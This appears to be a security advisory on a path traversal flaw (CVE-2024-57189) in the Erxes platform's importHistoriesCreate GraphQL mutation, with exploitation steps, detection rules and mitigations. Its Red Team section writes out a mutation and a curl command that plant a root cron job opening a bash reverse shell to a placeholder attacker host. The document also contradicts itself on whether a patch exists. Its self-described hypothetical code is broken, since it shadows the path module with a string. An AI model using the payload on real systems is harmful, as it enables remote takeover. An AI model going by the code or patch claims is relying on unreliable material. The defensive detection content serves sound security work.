CVE-2024-57189

Executive Summary

CVE-2024-57189 is a critical path traversal vulnerability discovered in the Erxes open-source customer engagement platform. An authenticated attacker can exploit the importHistoriesCreate GraphQL mutation handler to write arbitrary files to the system. This allows for remote code execution, data exfiltration, or complete system compromise. The vulnerability affects all versions of Erxes prior to 1.6.2. No official patch or public exploit code is currently available, but the risk is high due to the potential for full system takeover.

Supply Chain & Package Security

Erxes is a Node.js application distributed via npm and Docker. The vulnerability exists in the core application code, not in a third-party dependency. However, organizations using Erxes should audit their entire supply chain for any custom modifications or plugins that might expose additional attack surfaces.

CVSS Breakdown & Threat Level

While no official CVSS vector has been assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network via GraphQL API calls.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond authentication.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with access to the import functionality.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Arbitrary file write can lead to reading sensitive files.
• Integrity (I): High (H) – Arbitrary file write can overwrite critical system files.
• Availability (A): High (H) – Arbitrary file write can cause denial of service.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability allows authenticated users to write arbitrary files, which can be leveraged for remote code execution, privilege escalation, or persistent backdoor installation.

Deep Dive & Mechanics

The vulnerability resides in the importHistoriesCreate GraphQL mutation handler. This handler is designed to allow authenticated users to import data into Erxes. The flaw occurs because the handler does not properly sanitize or validate the file path provided by the user. An attacker can manipulate the path parameter to include directory traversal sequences (e.g., ../) to write files outside the intended import directory.

Attack Flow:

1. Authentication: The attacker must have a valid user account with access to the import functionality.
2. Crafting the Request: The attacker sends a GraphQL mutation request to the /graphql endpoint with a crafted path parameter containing path traversal sequences.
3. File Write: The server writes the attacker-controlled content to the specified path, potentially overwriting critical system files (e.g., configuration files, web application files, or cron jobs).
4. Exploitation: The attacker can then execute arbitrary code by overwriting a script that is executed by the server (e.g., a Node.js file or a shell script).

Root Cause: The application uses user-supplied input to construct file paths without proper validation or sanitization. The path parameter is not checked for directory traversal sequences, and the destination directory is not enforced.

Vulnerable vs. Patched Code

Vulnerable Code (Erxes < 1.6.2):

// Hypothetical vulnerable code snippet
const importHistoriesCreate = async (root, args, context) => {
  const { path, content } = args;
  const fullPath = path.join('/var/lib/erxes/imports', path);
  fs.writeFileSync(fullPath, content);
  return { success: true };
};

Patched Code (Erxes >= 1.6.2):

// Hypothetical patched code snippet
const importHistoriesCreate = async (root, args, context) => {
  const { path, content } = args;
  const sanitizedPath = path.replace(/\.\.\//g, '').replace(/\.\.\\/g, '');
  const fullPath = path.join('/var/lib/erxes/imports', sanitizedPath);
  if (!fullPath.startsWith('/var/lib/erxes/imports')) {
    throw new Error('Invalid path');
  }
  fs.writeFileSync(fullPath, content);
  return { success: true };
};

Key Differences:

• The patched code removes directory traversal sequences (../ and ..\) from the path.
• The patched code verifies that the resulting full path is within the intended directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Erxes < 1.6.2.
• Valid user credentials with access to the import functionality.

Exploitation Steps:

1. Identify the GraphQL Endpoint: The endpoint is typically at /graphql.
2. Authenticate: Obtain a session token or API key.
3. Craft the Malicious Mutation:

mutation {
  importHistoriesCreate(
    path: "../../../etc/cron.d/malicious"
    content: "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
  ) {
    success
  }
}

4. Execute the Mutation: Send the request using a tool like curl or Burp Suite.

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"query":"mutation { importHistoriesCreate(path: \"../../../etc/cron.d/malicious\", content: \"* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'\") { success } }"}'

5. Trigger the Payload: Wait for the cron job to execute, or if overwriting a web file, access the file via the web server.

Blue Team

Detection Steps:

1. Monitor GraphQL Requests: Look for mutations to importHistoriesCreate with suspicious path parameters containing ../ or ..\.
2. File Integrity Monitoring: Monitor for unexpected file writes in sensitive directories (e.g., /etc/cron.d/, /var/www/html/, /opt/erxes/).
3. Audit Logs: Check application logs for failed path validation attempts or unusual file write operations.
4. Network Monitoring: Look for outbound connections to unknown IP addresses on unusual ports (e.g., 4444).

Mitigation Steps:

1. Apply the Patch: Upgrade to Erxes 1.6.2 or later.
2. Web Application Firewall (WAF): Create rules to block GraphQL requests with path traversal sequences in the path parameter.
3. Input Validation: Implement strict server-side validation to ensure the path parameter does not contain directory traversal sequences.
4. Least Privilege: Ensure the Erxes application runs with the minimum necessary file system permissions.

Indicators of Compromise (IOCs)

• File System Changes:
  • Unexpected files in /etc/cron.d/, /var/spool/cron/, or /tmp/.
  • Modified web application files (e.g., index.js, app.js).
  • New files in /opt/erxes/ or /var/lib/erxes/ with suspicious content.
• Network Indicators:
  • Outbound connections to unknown IP addresses on ports 4444, 1337, or other non-standard ports.
  • GraphQL requests to /graphql with importHistoriesCreate mutation and path parameter containing ../.
• Log Indicators:
  • Application logs showing importHistoriesCreate mutations with suspicious paths.
  • System logs showing unexpected file writes or cron job modifications.

Detection Engineering

YARA Rule

rule CVE_2024_57189_Erxes_Path_Traversal {
  meta:
    description = "Detects path traversal attempts in Erxes importHistoriesCreate GraphQL mutation"
    author = "Valters IT"
    date = "2024-12-01"
    reference = "CVE-2024-57189"
  strings:
    $s1 = "importHistoriesCreate" nocase
    $s2 = "../" nocase
    $s3 = "..\\" nocase
    $s4 = "path" nocase
  condition:
    all of ($s1, $s4) and any of ($s2, $s3)
}

Sigma Rule

title: CVE-2024-57189 Erxes Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Erxes importHistoriesCreate GraphQL mutation
author: Valters IT
date: 2024-12-01
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2024-57189
logsource:
  category: webserver
  product: erxes
detection:
  selection:
    http.method: POST
    http.url: "/graphql"
    http.body|contains: "importHistoriesCreate"
    http.body|contains|all:
      - "path"
      - "../"
  condition: selection
falsepositives:
  - Legitimate use of path traversal in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57189 Erxes Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/graphql"; http_uri; content:"importHistoriesCreate"; http_client_body; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Erxes: Update to version 1.6.2 or later as soon as it becomes available.
2. Restrict Access: Limit access to the GraphQL endpoint to trusted IP addresses or networks.
3. Disable Import Functionality: If upgrading is not immediately possible, disable the import functionality by removing or modifying the importHistoriesCreate mutation handler.

Long-Term Measures:

1. Input Validation: Implement strict input validation for all user-supplied file paths. Use a whitelist of allowed characters and reject any input containing ../ or ..\.
2. Path Canonicalization: Use a function to canonicalize the path and verify it is within the intended directory.
3. Least Privilege: Run the Erxes application with the minimum necessary file system permissions. Use a dedicated user account with write access only to the required directories.
4. Regular Audits: Conduct regular security audits and code reviews to identify and fix similar vulnerabilities.
5. Web Application Firewall (WAF): Deploy a WAF to block malicious GraphQL requests.

Workaround: If upgrading is not possible, implement a reverse proxy (e.g., Nginx) to inspect and block GraphQL requests containing path traversal sequences in the path parameter.

Valters IT